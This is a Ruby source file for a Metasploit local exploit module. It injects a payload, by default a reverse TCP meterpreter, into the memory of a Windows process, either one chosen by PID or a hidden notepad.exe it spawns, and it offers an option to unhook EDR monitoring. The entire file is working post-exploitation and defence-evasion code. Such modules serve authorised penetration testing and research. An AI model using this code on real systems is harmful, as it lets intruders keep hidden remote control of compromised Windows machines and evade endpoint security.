##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Process
  include Msf::Module::Deprecated

  moved_from 'post/windows/manage/payload_inject'

  def initialize(info={})
    super( update_info( info,
      'Name'            => 'Windows Manage Memory Payload Injection',
      'Description'     => %q{
          This module will inject a payload into memory of a process.  If a payload
        isn't selected, then it'll default to a reverse x86 TCP meterpreter.  If the PID
        datastore option isn't specified, then it'll inject into notepad.exe instead.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'sinn3r'
        ],
      'Platform'        => [ 'win' ],
      'Arch'            => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'    => [ 'meterpreter' ],
      'Targets'         => [ [ 'Windows', {} ] ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => "Oct 12 2011"
    ))

    register_options(
      [
        OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]),
        OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]),
        OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5])
      ])
  end

  # Run Method for when run command is issued
  def exploit
    @payload_name = datastore['PAYLOAD']
    @payload_arch = ARCH_X86
    payload_arch_old = framework.payloads.create(@payload_name).arch.first
    # convert the old style archetecture to the new style
    @payload_arch = ARCH_X64 if payload_arch_old.include?('64')

    vprint_status("Client Arch = #{client.arch}")
    vprint_status("Payload Arch = #{@payload_arch}")

    # prelim checks
    if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
      fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
    end

    # syinfo is only on meterpreter sessions
    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

    proc = get_proc(datastore['PID'])
    if not proc
      print_error("Unable to get a proper PID")
      return
    end

    unless arch_check(@payload_arch, proc.pid)
      fail_with(Failure::BadConfig, "Mismatched payload/process architecture")
    end
    if datastore['AUTOUNHOOK']
      print_status("Executing unhook")
      print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
      unless inject_unhook(proc, @payload_arch, datastore['WAIT_UNHOOK'])
        fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
      end
    end
    print_status("Injecting payload into #{proc.pid}")
    begin
      inject_into_pid(proc.pid)
    rescue ::Exception => e
      print_error("Failed to inject Payload to #{pid}!")
      print_error(e.to_s)
    end
  end

  # Figures out which PID to inject to
  def get_proc(pid)
    if pid == 0
      notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch)
      vprint_status("Starting  #{notepad_pathname}")
      proc = client.sys.process.execute(notepad_pathname, nil, {'Hidden' => datastore['HIDDEN']})
      if proc.nil?
        print_bad("Failed to start notepad process")
      else
        print_status("Spawned Notepad process #{proc.pid}")
      end
    else
      if not has_pid?(pid)
        print_error("Process #{pid} was not found")
        return nil
      end
      proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
      if proc.nil?
        print_bad("Failed to start notepad process")
      else
        print_status("Opening existing process #{proc.pid}")
      end
    end
    return proc
  end

  def inject_into_pid(pid)
    vprint_status("Performing Architecture Check")
    return if not arch_check(@payload_arch, pid)
    begin
      print_status("Preparing '#{@payload_name}' for PID #{pid}")
      raw = payload.encoded
      execute_shellcode(raw, nil, pid)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Unable to inject payload:")
      print_line(e.to_s)
    end
  end
end
